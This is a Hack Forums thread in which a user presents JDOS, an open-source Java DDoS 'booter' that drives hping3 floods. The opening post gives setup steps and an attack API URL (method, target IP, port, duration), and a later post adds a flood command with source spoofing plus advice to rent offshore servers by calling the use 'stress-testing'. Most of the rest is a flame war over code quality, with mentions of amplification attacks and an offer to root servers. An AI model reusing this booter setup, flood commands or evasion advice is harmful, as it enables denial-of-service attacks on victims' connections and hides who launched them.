

Forum:[Hack Forums](#)

Thread: [JDOS: An Open-Source Java Denial of Service System \(Java Booter\)](#)

nullifiedvoid - June 23, 2015, 10:41 am

Hello Forum,

A while ago, I was given permission from DMoneigh to run my Home-Connection stresser "JStresser", on the [JStresser Directory](#). The project has been stopped about three months before this current date and I have requested that the source be placed on Github.

There are two parts to this project:

[JDOSMaster](#) - A webserver written purely in Java that receives attack, stop, and check requests. It manages all JDOS Servers.

[JDOSServer](#) - A Java Denial of Service Attack Server. From the JDOSMaster it receives attack and stop requests.

Setting up JDOSMaster:

Obtain a ubuntu server and install Java 8

Go into the JDOSMaster main class and select local port and append attack servers to the ATTACK_SERVERS list. As seen below

Code /**

* The port that the JDOSMaster runs on.

*/

private static final int LOCAL_PORT = 4545;The attack server code.

Code /**

* An array of attack servers.

*/

```
public static final Server[] ATTACK_SERVERS = new Server[] {  
    new Server(1, "127.0.0.1", 4546), //id, ip, and port that JDOSServer is running on  
    new Server(2, "127.0.0.2", 4546) //id, ip, and port that JDOSServer is running on  
};Compile and run as root.
```

Setting up JDOSServer:

Obtain a ubuntu server and install Java 8.

Install hping3 from their [website](#).

Select the port that this attack server runs from.

The port that this attack server runs on.

Code ServerSocket ss = new ServerSocket(4546);Compile and run as root

JDOSMaster API:

Simply connect to the JDOSMaster server on its local port with PHP. (DO NOT ALLOW direct access to your JDOS Project by users)

Be sure to also sanitize any input before it reaches the JDOS Project.

127.0.0.1:4545/attack?id=1&ip=127.0.0.1&port=80&method=syn&time=60 - starts an attack on a

server with user id 1

127.0.0.1:4545/stop?id=1 - stops the server that user id 1 started

127.0.0.1:4545/check - lists times of all servers

Note: Attack methods must be the command line names of hping3 attack methods. (i.e. udp, syn, rawip, icmp)

Best Regards,
NullifiedVoid

jarvur - June 23, 2015, 11:06 am

Very nice. I've never looked into DDoS attacks via Java and honestly though it would be more complicated than this. I can't see it hitting anything but weak site's right?

Nice work none the wise.

nullifiedvoid - June 23, 2015, 11:14 am

(Jun 23, 2015 11:06 AM)jarvur Wrote: [\[CITE\]](#) Very nice. I've never looked into DDoS attacks via Java and honestly though it would be more complicated than this. I can't see it hitting anything but weak site's right?

Nice work none the wise.

When we used this for JStresser, it did REALLY well on Home-Connections. Especially, when using servers from [Maxided](#). As long as you get unshared, unlimited bandwidth, offshore servers from them and let them know that you are "stress-testing" they will have zero problem providing you the servers. Never tried it on weak sites. Thank you for taking a look.

Jire - June 23, 2015, 8:09 pm

If the victim gets your server IP they can launch a DoS to your server and take it down in seconds from any connection.

nullifiedvoid - June 23, 2015, 10:43 pm

(Jun 23, 2015 08:09 PM)~!@# Wrote: [\[CITE\]](#) If the victim gets your server IP they can launch a DoS to your server and take it down in seconds from any connection.

If you do not want them to get your server's ip address, simply buy a spoofed server from [Maxided](#) and append "--rand-source" as shown below...

```
Code final String[] command = new String[] {  
    "hping3",  
    ip,  
    "-p",  
    "" + port,  
    "--" + method,  
    "-d",  
    "120",  
    "-w",  
    "64",  
    "--flood",  
    "--rand-source" // Add this....  
};
```

s0c1al - June 24, 2015, 12:17 pm

So, i took an look at the source, here are an few problems.

You don't have any authentication, whatsoever, so any nerd can just send the packet to your

'slaves'

You are just calling hping3, why not write an real attack tool, and send the data from java?

Jire - June 24, 2015, 4:27 pm

(Jun 23, 2015 10:43 PM)nullifiedvoid Wrote: [\[CITE\]](#) If you do not want them to get your server's ip address, simply buy a spoofed server from [Maxided](#) and append "--rand-source" as shown below...

```
Code final String[] command = new String[] {  
    "hping3",  
    ip,  
    "-p",  
    "" + port,  
    "--" + method,  
    "-d",  
    "120",  
    "-w",  
    "64",  
    "--flood",  
    "--rand-source" // Add this....
```

}; The concern is not just for a victim. People are always port scanning the web, they can connect to your server without authentication. They can also crash your server, it is poorly designed and will be taken down by an abundance of connections. You should use non-blocking IO facilitated by Java's NIO.

nullifiedvoid - June 24, 2015, 11:09 pm

(Jun 24, 2015 04:27 PM)~!@# Wrote: [\[CITE\]](#) The concern is not just for a victim. People are always port scanning the web, they can connect to your server without authentication. They can also crash your server, it is poorly designed and will be taken down by an abundance of connections. You should use non-blocking IO facilitated by Java's NIO. The purpose of these projects is to show and explain to users on HOW to do something in Java. It is up to the user to enhance these projects to build what they are looking for.

Instead of all this authentication talk, why not configure your JDOSMaster host to only allow connections from your booter webserver? Then configure your JDOSServer hosts to only allow connections from your JDOSMaster host...

The above suggestion is assuming that you have the following:

Cloudflare -> Your Booter Website -> PHP -> JDOSMaster -> Send Requests -> JDOSServers

(Jun 24, 2015 12:17 PM)s0c1al Wrote: [\[CITE\]](#) * You are just calling hping3, why not write an real attack tool, and send the data from java?

Why would DMoneigh re-invent the wheel? This is why most programs that are created today are terrible in terms of code. Everyone knows that hping3 sends packets faster/more efficiently than any Java "attack tool" ever would.

s0c1al - June 25, 2015, 5:41 am

> Everyone knows that hping3 sends packets faster/more efficiently than any Java "attack tool" ever would.

hping is a command-line oriented TCP/IP packet assembler/analyzer, not an DDoS/DoS tool, yes it can be used to send malformed TCP/UDP packets to send an DDoS to an target, but why should you teach people to use an insecure way of setting things up, when you can easily build something that's more powerfull by using just one server, and a few amplification tricks (DNS, Bittorrent, NTP)

nullifiedvoid - June 25, 2015, 8:12 am

(Jun 25, 2015 05:41 AM)s0c1al Wrote: [\[CITE\]](#) > Everyone knows that hping3 sends packets faster/more efficiently than any Java "attack tool" ever would.

hping is a command-line oriented TCP/IP packet assembler/analyzer, not an DDoS/DoS tool, yes it can be used to send malformed TCP/UDP packets to send an DDoS to an target, but why should you teach people to use an insecure way of setting things up, when you can easily build something that's more powerfull by using just one server, and a few amplification tricks (DNS, Bittorrent, NTP) Java is a programming language and computing platform (Yes Googled as you did), not a* DDoS/DoS tool, yes it can be used to send malformed TCP/UDP packets to send a DoS* to a* target. (Where is the logic in this argument?)

As I have said on my other posts, these projects are to show users HOW to do something. It is up to them to enhance, change (add security), and improve code (use something other than hping3....) to make it better.

Please present valid statements and arguments (with some logic next time) in your next post. If not you will receive no response.

Shellow5 - June 27, 2015, 3:28 pm
nullifiedvoid,

Above you stated the following: "I have said on my other posts, these projects are to show users HOW to do something. It is up to them to enhance, change (add security), and improve code (use something other than hping3....) to make it better."

I respect your attempts to accomplish that goal, but your code is insecure, inefficient, doesn't make good use of Object Orientated Programming Concepts, has too many dependencies, and in the end DOESN'T HELP TO SHOW USERS HOW TO DO ANYTHING.

Let me explain.

- Using hping3 is a good workaround instead of re-inventing the wheel as you say, but if your goal is to teach others, then you should start from "scratch". This would involve writing DoS attacks in pure Java. As you state it is a learning exercise, you would only need to actually implement one DoS attack in Java and leave it up to users to implement any else they want.

- If your goal is to allow users to expand upon your project, then you should use modularity and object orientation in all of your programs. For example your DoS Server contains only one method (main) and creates a anonymous inner class that contains your processing of a DoS request.

- Your code isn't secure at all and is a bad example of maintainable programming practices. For example you don't check the output of `Runtime.getRuntime().exec()` which could indicate that hping3 isn't installed or that an error occurred. You also don't handle an error if I don't send an integer here: `"final int time = new Integer(din.readUTF()) * 1000;"`, these are just a few examples I picked up and I could most definitely find more. It is NECESSARY in creating maintainable programs to tell users WHERE THEY WENT WRONG, or when the program went wrong. You don't do this and it is a problem.

- And last but not least if you intentionally chose to put all these problems in for users to figure out, which I doubt you did, you should at least tell them they exist and where they need to rework the code to make it better. For example you stated that it is up to users to add security, so add ONE COMMENT stating that security needs to be added and where it needs to be added. One final example is that you stated it should be up to users to change hping3 as it isn't the best way of

instantiating an attack, so just write that in the README file or in the code somewhere, so users understand what they need to change.

Again, I respect your efforts nullifiedvoid, Schmidt73

tldr; tell users what they have to fix and where or they won't learn anything. also keep consistency in your code, so it doesn't become a jumbled mess of object oriented shit.

nullifiedvoid - June 27, 2015, 9:22 pm

Schmidt73,

I have never in my life had anyone post to make me laugh as hard as you did. I am a mere web-security analyst. Have found 70+ vulnerabilities on Enjin and multiple on Minecraft.net. First off this code does not belong to me but DMoneigh. I believe part of the reason that he does not have a HackForums account is because of posts like these.

His code is far more efficient and well formatted compared to ANYTHING I have seen you write. Your Parabot Runebar Maker is poorly written and terribly formatted. If you knew how to correctly use APIs you would not sit here and do repetitive if-checks, as you have in your PlayerInventory class. I will not even to start and look at the structure of your code. Your getters are all out of place as they should be in regular OOP layouts. For the rest of the programmers who know how to properly program, this terribly written program can be found the link below.

<https://github.com/schmidt73/Premium-PkHonor-Rune-Bar-Maker>

The code written in the JDOS project shows users how they can easily setup a lightweight Java Denial of Service System. I will not argue against all of your "points" that you are trying to make. What I will say though is that this code does not have to have all of these "checks" that you are talking about. You simply secure your booter site, and sanitize all requests and you will not have to worry about the information that is passed to the JDOS project. (No users should be directly interacting with your JDOS project -_-) This is what is wrong with the HackForums community right now. Too many users are steadily copying and pasting and are angry when something does not piece together. And some of the UB3R users get "bigheaded" and think that their ranks show that they are "qualified/expert programmers." There should be no need to check if hping3 is installed for the simple fact that you should FOLLOW THE DIRECTIONS. Also there is no need to make the JDOSServer project OOP because it is only receiving and handling requests. Making it OOP will slow down the code tremendously. (Static programs are much faster than OOP programs) This proves that you know nothing about efficiency. The people who commented on your reputation wall would agree with me that you have NO IDEA about what you are talking about.

So I strongly recommend before you try and disrespect ones code, you need to check your own. Because from what I have seen you have no type of skill. And please do write something that is more efficient. (There is no need to write two layers of sanitation to a program...) I am waiting. I suggest writing two programs that have the same functionality, one static and one OOP. Compare times when finished. Hopefully you will learn something. Instead of adding a README to spoonfeed users, I should add a comment that says "ALERT common sense is needed." If you would like to know how to check the speed of a program an example could be found below.

```
Code long startTime = System.currentTimeMillis();
```

```
// Code here
```

```
System.out.println((System.currentTimeMillis() - startTime) / 1000); // Print out the time in seconds  
how long it took to for the code to complete
```

JavaProfit - June 27, 2015, 10:42 pm

(Jun 27, 2015 09:22 PM)nullifiedvoid Wrote: [\[CITE\]](#) So I strongly recommend before you try and

disrespect ones code, you need to check your own. Because from what I have seen you have no type of skill. And please do write something that is more efficient. (There is no need to write two layers of sanitation to a program...) I am waiting. I suggest writing two programs that have the same functionality, one static and one OOP. Compare times when finished. Hopefully you will learn something. Instead of adding a README to spoonfeed users, I should add a comment that says "ALERT common sense is needed." If you would like to know how to check the speed of a program an example could be found below.

```
Code long startTime = System.currentTimeMillis();
```

```
// Code here
```

```
System.out.println((System.currentTimeMillis() - startTime) / 1000); // Print out the time in seconds  
how long it took to for the code to complete
```

I'm not schmidt but like I don't think he was meaning any disrespect.

Ownage - June 28, 2015, 1:58 am

To sum this thread and your shitty source up:

Your code has an abundance of vulnerabilities, from DoS to RCE.

You seem to think that you're (or the person who wrote the code is) great at programming, but you are literally just passing some arguments to a program and claiming it's faster than what you could have done, even though with the JNI it's trivial to just write or, as would be more common with people like you, copy and paste a UDP flooder written in C or the likes to make for faster flooding.

Some of the finer (shittier) parts of the code:

```
Code public class JDOSServer extends ObjectCode while (true)Code    din.readInt();  
    din.close();Code private static final int LOCAL_PORT = 4545; // If you are making an HTTP server I  
feel like you should be able to write some sort of configuration system that just loads things like the  
port from a json file.Code    public static final Server[] ATTACK_SERVERS = new Server[] {  
    new Server(1, "127.0.0.1", 4546), //id, ip, and port that JDOSServer is running on  
    new Server(2, "127.0.0.2", 4546) //id, ip, and port that JDOSServer is running on  
}; // Literally the same thing as above
```

I'm not even going to mention all the times where you are sending things to and from servers with no explanation as to what they do. If you were to not look at this code for a month and come back you'd probably resort to rewriting it than actually trying to understand it.

nullifiedvoid - June 28, 2015, 2:20 am

(Jun 28, 2015 01:58 AM)Ownage Wrote: [\[CITE\]](#) To sum this thread and your shitty source up:

Your code has an abundance of vulnerabilities, from DoS to RCE.

You seem to think that you're (or the person who wrote the code is) great at programming, but you are literally just passing some arguments to a program and claiming it's faster than what you could have done, even though with the JNI it's trivial to just write or, as would be more common with people like you, copy and paste a UDP flooder written in C or the likes to make for faster flooding.

As stated above, if security is implemented correctly on your booter/stresser's website these vulnerabilities become null and void. There is no point in having two of the same checks only to make the over-all project slower. Users should not allow outside interaction with the JDOS project. The only things that were not explained in this code were clearly packet headers. If you would pay attention at the data being sent instead of crying/complaining about not being able to understand it, you would see that no variables were being created. Code dout.writeInt(0); and Code dout.writeInt(1); The only claim about speed that was made was the fact that static programs are much faster than OOP programs...

I have not mentioned or inferred to DMoneigh as ever being great. It seems that a few egos are being hurt here by the tools that have been developed. If the JDOS project is as terrible as you claim, please proceed into exploit these vulnerabilities on the JStresser directory at <http://jscanner.net/jstresser/index.php> I will give you 0.375 BTC for every JDOS project vulnerability

you exploit on that directory. (Yes that confident in the web security)

s0c1al - June 28, 2015, 6:07 am

> static programs are much faster than OOP programs

bullshit.

> please proceed into exploit these vulnerabilities on the JStresser directory at <http://jscanner.net/jstresser/index.php>

Sure, PM me the IP if the backend servers, and i'll root em ;-)

Shellow5 - June 28, 2015, 6:27 am

Nullifiedvoid,

I'm not going to tell you that my parobot rune bar maker was good code. It was an old program for a rank on a website so I could sell my products. The repetitive API checks were also necessary for the Parobot API as the API would often throw NPEs and I had to catch them so my script wouldn't crash. So even if you think they are bad, they are necessary and if you don't believe me I'll prove it to you.

Please look at my other code and tell me it's shit. Also, I wasn't trying to be a dick, merely trying to help out.

nullifiedvoid - June 28, 2015, 12:59 pm

(Jun 28, 2015 06:07 AM)s0c1al Wrote: [\[CITE\]](#) > static programs are much faster than OOP programs

bullshit.

> please proceed into exploit these vulnerabilities on the JStresser directory at <http://jscanner.net/jstresser/index.php>

Sure, PM me the IP if the backend servers, and i'll root em ;-)

I am starting to think this is a troll account.

It is fact that statically built programs are faster than OOP built programs. (OOP requires more bytecode instruction execution which equals more time)

No sir, in a real life situation, the booter owner would not give you backend ip addresses. Proceed to obtain them through the site..

JavaProphet - June 28, 2015, 4:37 pm

I attempted to visit the website, please turn off the obnoxious music.

Sparta. - June 28, 2015, 6:11 pm

Why in the fuck are you extending classes off of Object? Stop doing that, it's disgusting and outright unnecessary. Also, why are you literally hard coding everything into the main for the Server class?

Please, for the love of god.. if you're trying to teach people how to program learn to use proper Java programming conventions and at least use OOP (which Java literally is all about) rather than coding in the main like you literally just learned the language.

(Jun 27, 2015 09:22 PM)nullifiedvoid Wrote: [\[CITE\]](#) Schmidt73,

I have never in my life had anyone post to make me laugh as hard as you did. I am a mere web-security analyst. Have found 70+ vulnerabilities on Enjin and multiple on Minecraft.net. First off this code does not belong to me but DMoneigh. I believe part of the reason that he does not have a HackForums account is because of posts like these.

His code is far more efficient and well formatted compared to ANYTHING I have seen you write. Your Parabot Runebar Maker is poorly written and terribly formatted. If you knew how to correctly use APIs you would not sit here and do repetitive if-checks, as you have in your PlayerInventory class. I will not even to start and look at the structure of your code. Your getters are all out of place as they should be in regular OOP layouts. For the rest of the programmers who know how to properly program, this terribly written program can be found the link below.

<https://github.com/schmidt73/Premium-PkHonor-Rune-Bar-Maker>

The code written in the JDOS project shows users how they can easily setup a lightweight Java Denial of Service System. I will not argue against all of your "points" that you are trying to make. What I will say though is that this code does not have to have all of these "checks" that you are talking about. You simply secure your booter site, and sanitize all requests and you will not have to worry about the information that is passed to the JDOS project. (No users should be directly interacting with your JDOS project -_-) This is what is wrong with the HackForums community right now. Too many users are steadily copying and pasting and are angry when something does not piece together. And some of the UB3R users get "bigheaded" and think that their ranks show that they are "qualified/expert programmers." There should be no need to check if hping3 is installed for the simple fact that you should FOLLOW THE DIRECTIONS. Also there is no need to make the JDOSServer project OOP because it is only receiving and handling requests. Making it OOP will slow down the code tremendously. (Static programs are much faster than OOP programs) This proves that you know nothing about efficiency. The people who commented on your reputation wall would agree with me that you have NO IDEA about what you are talking about.

So I strongly recommend before you try and disrespect ones code, you need to check your own. Because from what I have seen you have no type of skill. And please do write something that is more efficient. (There is no need to write two layers of sanitation to a program...) I am waiting. I suggest writing two programs that have the same functionality, one static and one OOP. Compare times when finished. Hopefully you will learn something. Instead of adding a README to spoonfeed users, I should add a comment that says "ALERT common sense is needed." If you would like to know how to check the speed of a program an example could be found below.

```
Code long startTime = System.currentTimeMillis();
```

```
// Code here
```

```
System.out.println((System.currentTimeMillis() - startTime) / 1000); // Print out the time in seconds  
how long it took to for the code to complete
```

Lightweight does not equal shitty code with no proper conventions or practices.

nullifiedvoid - June 28, 2015, 7:13 pm

(Jun 28, 2015 06:11 PM)Sparta. Wrote: [\[CITE\]](#) Why in the fuck are you extending classes off of Object? Stop doing that, it's disgusting and outright unnecessary. Also, why are you literally hard coding everything into the main for the Server class?

Please, for the love of god.. if you're trying to teach people how to program learn to use proper Java programming conventions and at least use OOP (which Java literally is all about) rather than coding in the main like you literally just learned the language.

Lightweight does not equal shitty code with no proper conventions or practices. You would have to message him directly to figure out why he is extending object.

Explain what part of his code is not using proper conventions or practices (besides extending object).

The JDOServer does not need to be OOP at all. There is literally no point in doing so. Over-complicating the code for what?

JavaProphet - June 28, 2015, 7:27 pm

@nullifiedvoid I'd like to quote JFK here:

"(We do these things) not because they are easy, but because they are hard."

I personally stop caring, and am moving to C.

OOP does have it's merit's however. I'm currently writing a highly extendable CMS very OOP, because, it needs to be extendable.

JIM NASIUM'S GYMNASIUM - June 28, 2015, 7:38 pm

(Jun 27, 2015 09:22 PM)nullifiedvoid Wrote: [\[CITE\]](#) If you would like to know how to check the speed of a program an example could be found below.

```
Code long startTime = System.currentTimeMillis();
```

```
// Code here
```

```
System.out.println((System.currentTimeMillis() - startTime) / 1000); // Print out the time in seconds  
how long it took to for the code to complete
```

Are you actually using this to test your code's efficiency? Lol.

nullifiedvoid - June 28, 2015, 7:38 pm

(Jun 28, 2015 07:27 PM)JavaProphet Wrote: [\[CITE\]](#) @nullifiedvoid I'd like to quote JFK here:

"(We do these things) not because they are easy, but because they are hard."

I personally stop caring, and am moving to C.

OOP does have it's merit's however. I'm currently writing a highly extendable CMS very OOP, because, it needs to be extendable.

Understandable. Could you please link me to your project? Very interested.

(Jun 28, 2015 07:38 PM)Mrparkers Wrote: [\[CITE\]](#) Are you actually using this to test your code's efficiency? Lol.

No, it is used to test the time it took in seconds for code to complete..

JIM NASIUM'S GYMNASIUM - June 28, 2015, 7:46 pm

(Jun 28, 2015 07:38 PM)nullifiedvoid Wrote: [\[CITE\]](#) No, it is used to test the time it took in seconds for code to complete..

I meant that anyone who actually does this to measure code runtime has no idea what the fuck they're talking about, generally.

I'm not going to provide any input on your little squabble with schmidt73, but you might want to take a look at this. <https://yourlogicalfallacyis.com/tu-queue>

nullifiedvoid - June 28, 2015, 7:56 pm

(Jun 28, 2015 07:46 PM)Mrparkers Wrote: [\[CITE\]](#) I meant that anyone who actually does this to measure code runtime has no idea what the fuck they're talking about, generally.

I'm not going to provide any input on your little squabble with schmidt73, but you might want to take a look at this. <https://yourlogicalfallacyis.com/tu-queue>

You might want to take a look at the conventions on your "Fully-Commented" C++ calculator. (<http://pastebin.com/PAvec2hx>) Why do you all insist on commenting on other projects and your own projects are ridiculous? There is a difference between respectfully criticizing ones project and attempting to act superior. "I meant that anyone who comments on other projects disrespectfully are terrible programmers themselves, generally."

JIM NASIUM'S GYMNASIUM - June 28, 2015, 8:04 pm

(Jun 28, 2015 07:56 PM)nullifiedvoid Wrote: [\[CITE\]](#) You might want to take a look at the conventions on your "Fully-Commented" C++ calculator. (<http://pastebin.com/PAvec2hx>) Why do you all insist on commenting on other projects and your own projects are ridiculous? There is a difference between respectfully criticizing ones project and attempting to act superior. I meant that anyone who comments on other projects disrespectfully are terrible programmers themselves, generally. LOL. This account has to be a troll.

I replied not to insert myself into an argument, but you inform you that you were not actually responding to his perfectly valid criticisms, but instead criticizing the person who made them. Then in the very next post you do it again? Nobody is THIS stupid.

Buddy, I made that shit when I was in high school. I knew nothing then. Funny how your only defense is to criticize code written years ago and expect that has any relevance to this discussion whatsoever.

nullifiedvoid - June 28, 2015, 8:08 pm

(Jun 28, 2015 08:04 PM)Mrparkers Wrote: [\[CITE\]](#) LOL. This account has to be a troll.

I replied not to insert myself into an argument, but you inform you that you were not actually responding to his perfectly valid criticisms, but instead criticizing the person who made them. Then in the very next post you do it again? Nobody is THIS stupid.

Buddy, I made that shit when I was in high school. I knew nothing then. Funny how your only defense is to criticize code written years ago and expect that has any relevance to this discussion whatsoever.

There is no logic in any posts that are simply repeating what has already been said once. If anything, you all just want to be seen making some repetitive comment. You get out what you put in. No more replies or comments to you.

Sparta. - June 28, 2015, 8:14 pm

(Jun 28, 2015 07:13 PM)nullifiedvoid Wrote: [\[CITE\]](#) You would have to message him directly to figure out why he is extending object.

Explain what part of his code is not using proper conventions or practices (besides extending object).

The JDOServer does not need to be OOP at all. There is literally no point in doing so. Over-complicating the code for what?
L O L.

If you think OOP over-complicates anything, especially when most IDE's generate most of the shit that 'is' OOP, then you're a god awful fucking idiot.

What's your excuse for not organizing your code to even at least (AT LEAST, god damn) by using static methods and fields in the main class? In before "it needs to be faster and more efficient". ???

The fact that you threw something like a DDoS program into a main class with no GUI and then labelled it as "Open-Source" just to display terrible programming that doesn't follow proper conventions for others to see proves that you don't know what the fuck you are doing.

Even the most simple tasks are programmed properly like they are supposed to because that is what programming is. You might as well have made a .bat file to do all of this shit. ?

(Jun 28, 2015 07:56 PM)nullifiedvoid Wrote: [\[CITE\]](#) You might want to take a look at the conventions on your "Fully-Commented" C++ calculator. (<http://pastebin.com/PAvec2hx>) Why do you all insist on commenting on other projects and your own projects are ridiculous? There is a difference between respectfully criticizing ones project and attempting to act superior. "I meant that anyone who comments on other projects disrespectfully are terrible programmers themselves, generally."

No, it's because you're a joke. You imply that you know how to program and then make a god awful example of a program, make it open source like it deserves the attention, and then posts a thread about it.

You have no essential inkling on why the hell the method you are doing for DDoSing is terrible let alone why your code in general does not deserve to be open source and sugar-coated as an "example for others" if it's garbage in general.

To make you shut the fuck up, let me prove that you have no merit to respond to someone with the assumption that YOU know shit about Java:

Thanks for proving you barely know shit about Java. You just stated in the latter image that you barely code in Java anyways, therefore substantiating why you should pack up your ass hurt baggage and leave this section.

JIM NASIUM'S GYMNASIUM - June 28, 2015, 8:18 pm

(Jun 28, 2015 08:08 PM)nullifiedvoid Wrote: [\[CITE\]](#) There is no logic in any posts that are simply repeating what has already been said once. If anything, you all just want to be seen making some repetitive comment. You get out what you put in. No more replies or comments to you.

You really are dense, aren't you?

Tell you what. Do you want me to prove why you're an idiot? Here are some simple steps that even you could follow:

- 1) Run your perfectly flawless code execution length test and record the results.
- 2) Download [Prime95](#) and run a blend torture tests with as many threads as you have CPU cores.
- 3) Re-run your perfectly flawless code execution length test and observe that these results are different.

nullifiedvoid - June 28, 2015, 8:33 pm

@Sparta,

You are pretty ignorant. From the get-go it has been mentioned that these projects do not belong to me. I do not use Github. You are speaking to me as I have wrote it. There is ZERO reason for something so simple to be "organized." (Creating more classes for what??? Creating more methods for what???)

You have no proof as to whether I know little about Java or not lol. Just because I do not program in it much, does not mean I have not written programs more complex than what you are complaining about. As seen from your posts you have not written anything advanced at all. No skill shown in any of your posts. Real developers no matter what language, would not complain about programs that are so simple. They merely laugh and move on over terribly written code. But the fact that you are taking the time out to complain and cry to someone who has not written the code is quite sad. Shows how much skill you have. If it is so terrible do not say anything.

Please find a new hobby or get a job.

(Jun 28, 2015 08:08 PM)nullifiedvoid Wrote: [\[CITE\]](#) No more replies or comments to you.

JIM NASIUM'S GYMNASIUM - June 28, 2015, 8:41 pm

I see you neglected to respond to what I said. Did you realize why what you said was stupid?

Shellow5 - June 28, 2015, 8:51 pm

(Jun 28, 2015 12:59 PM)nullifiedvoid Wrote: [\[CITE\]](#) I am starting to think this is a troll account.

It is fact that statically built programs are faster than OOP built programs. (OOP requires more bytecode instruction execution which equals more time)

No sir, in a real life situation, the booter owner would not give you backend ip addresses. Proceed to obtain them through the site..

You're right when you say that perfectly built static programs are built are faster than non optimized OOP programs. However, just because a program is written in OOP form doesn't mean it won't get compiled down to non OOP code (think inline methods in C for example) and the code is often even further optimized by the JVM. So object oriented code can be ran exactly the same as a static program as you say. Also, Java code isn't actually static regardless of if it exists in one method as it isn't a native language and runs on the JVM.

Finally, all the code you have is in a while loop so the 10 ms delay at the very beginning of your code to create an object wouldn't change your program a bit and would make it drastically more maintainable. Don't use java if you hate OOP.

nullifiedvoid - June 28, 2015, 8:57 pm

(Jun 28, 2015 08:51 PM)schmidt73 Wrote: [\[CITE\]](#) You're right when you say that perfectly built static programs are built are faster than non optimized OOP programs. However, just because a program is written in OOP form doesn't mean it won't get compiled down to non OOP code (think inline methods in C for example) and the code is often even further optimized by the JVM. So object oriented code can be ran exactly the same as a static program as you say. Also, Java code isn't actually static regardless of if it exists in one method as it isn't a native language and runs on the JVM.

Finally, all the code you have is in a while loop so the 10 ms delay at the very beginning of your code to create an object wouldn't change your program a bit and would make it drastically more maintainable. Don't use java if you hate OOP.

It is not about hating OOP. It is when to use OOP... Its just like creating variables for NO REASON.

My last question to you is this. Which program is faster/more efficient?

```
Code public static void main(String[] args) {  
    printHi();  
}
```

```
private static void printHi() {  
    System.out.println("Hi");  
}
```

or

```
Code public RandomConstructor() {  
    super();  
}
```

```
public void printHi() {  
    System.out.println("Hi");  
}
```

```
public static void main(String[] args) {  
    new RandomConstructor().printHi(); //Please feel free to make a RandomConstructor variable  
    then call printHi(); as it seems a lot of you "expert programmers" like to do it anyway... lol  
}
```

If the question is answered correctly, the arguments that you all present become equal to my name...

Sparta. - June 28, 2015, 8:59 pm

(Jun 28, 2015 08:33 PM)nullifiedvoid Wrote: [\[CITE\]](#) @Sparta,

You are pretty ignorant. From the get-go it has been mentioned that these projects do not belong to me. I do not use Github. You are speaking to me as I have wrote it. There is ZERO reason for something so simple to be "organized." (Creating more classes for what??? Creating more methods for what???)

You have no proof as to whether I know little about Java or not lol. Just because I do not program in it much, does not mean I have not written programs more complex than what you are complaining about. As seen from your posts you have not written anything advanced at all. No skill shown in any of your posts. Real developers no matter what language, would not complain about programs that are so simple. They merely laugh and move on over terribly written code. But the fact that you are taking the time out to complain and cry to someone who has not written the code is quite sad. Shows how much skill you have. If it is so terrible do not say anything.

You don't know what a "real" developer is because you just proved that you don't know shit about Java.

Leave this section and let your friend respond for you next time, otherwise shut the fuck up. Thanks.

Quote:Please find a new hobby or get a job.

Don't need to, especially when I'll soon get paid \$90K-100K a year for what I'll be doing. ;)

JIM NASIUM'S GYMNASIUM - June 28, 2015, 9:03 pm

It is honestly painful to visit this section sometimes. Not only do a lot of users here fail to adhere to tried and tested software design patterns, but they'll actually defend their implementations and honestly believe that their methodology is better. Meanwhile, all of the competent developers are laughing away.

JavaProphet - June 29, 2015, 12:31 am

I'm enjoying reading this thread very much! Please keep the interesting discussion going.

I'd like to add in that everything in moderation seems to be the best approach. Don't over OOP, don't over proceduralize, etc.

nullifiedvoid - June 29, 2015, 12:59 am

(Jun 29, 2015 12:31 AM)JavaProphet Wrote: [\[CITE\]](#) I'm enjoying reading this thread very much! Please keep the interesting discussion going.

I'd like to add in that everything in moderation seems to be the best approach. Don't over OOP, don't over proceduralize, etc.

Lol JavaProphet, your comments always have me dying. I have nothing more to say. For now and on stupid comments will not get any responses. I must say I like the conditional statement that was

given to me.

(Jun 28, 2015 08:59 PM)Sparta. Wrote:Leave this section and let your friend respond for you next time, otherwise shut the fuck up. Thanks.

As if something is going to happen if I do not? I am just wondering what the repercussions are...

FI0werp0wer_ - June 29, 2015, 1:00 am

This seems amazing! I wish I knew Java and how to use it!

Cant wait to see what people do with the source code.

nullifiedvoid - June 29, 2015, 1:03 am

(Jun 29, 2015 01:00 AM)FI0werp0wer_ Wrote: [\[CITE\]](#) This seems amazing! I wish I knew Java and how to use it!

Cant wait to see what people do with the source code.

FI0werP0wer_,

I would not doubt if it is implemented in any new stressers in the near future.

Dan K - June 29, 2015, 1:43 am

(Jun 28, 2015 08:57 PM)nullifiedvoid Wrote: [\[CITE\]](#) It is not about hating OOP. It is when to use OOP... Its just like creating variables for NO REASON.

My last question to you is this. Which program is faster/more efficient?

-snip- code??

If the question is answered correctly, the arguments that you all present become equal to my name...Bad example

Bad design

No meaningful difference

WildeThing - June 29, 2015, 7:38 am

(Jun 29, 2015 12:31 AM)JavaProphet Wrote: [\[CITE\]](#) I'm enjoying reading this thread very much! Please keep the interesting discussion going.

I'd like to add in that everything in moderation seems to be the best approach. Don't over OOP, don't over proceduralize, etc.

I'm sorry, what? I've not read most of this thread but I really hope your last comment wasn't regarding to Java (or C for that matter).

"don't over OOP" - KK. You realize Java's default and only programming model is object orientated, right? You can't actually do proper procedural at all hence why Looka coined the term "POOP" - procedural object orientated programming.

Also, since you're moving to C, if you really want to continue with POOP, consider C++ - you can still use C libs with it. You can mix and match all the OOP and procedural code you'd ever desire.

JavaProphet - June 29, 2015, 1:38 pm

I POOP in Java, I POOP in C, but I agree with Linus Torvald about C++.

Wilde, I love you. You make me laugh and really brighten my day. Thank you.

WildeThing - June 29, 2015, 1:47 pm

(Jun 29, 2015 01:38 PM)JavaProphet Wrote: [\[CITE\]](#) I POOP in Java, I POOP in C, but I agree with Linus Torvald about C++.

Wilde, I love you. You make me laugh and really brighten my day. Thank you.

I'm glad m8 gud luk w/ future developementss.

Sparta - June 29, 2015, 1:49 pm

(Jun 29, 2015 01:03 AM)nullifiedvoid Wrote: [\[CITE\]](#) FI0werP0wer_,

I would not doubt if it is implemented in any new stressers in the near future.

No one is using your friend's shitty source code to create a booter. Absolutely terrible.

(Jun 29, 2015 12:59 AM)nullifiedvoid Wrote: [\[CITE\]](#) Lol JavaProphet, your comments always have me dying. I have nothing more to say. For now and on stupid comments will not get any responses. I must say I like the conditional statement that was given to me.

As if something is going to happen if I do not? I am just wondering what the repercussions are...

Ironic considering you are responding to criticism that doesn't apply to you, but to your "friend". You proved that you are ignorant by responding to criticism that is directly for your FRIEND, not YOU. You already proved that you don't know shit about Java and I substantiated that in a previous post.

Repercussions? Here, I'll list the repercussions here:

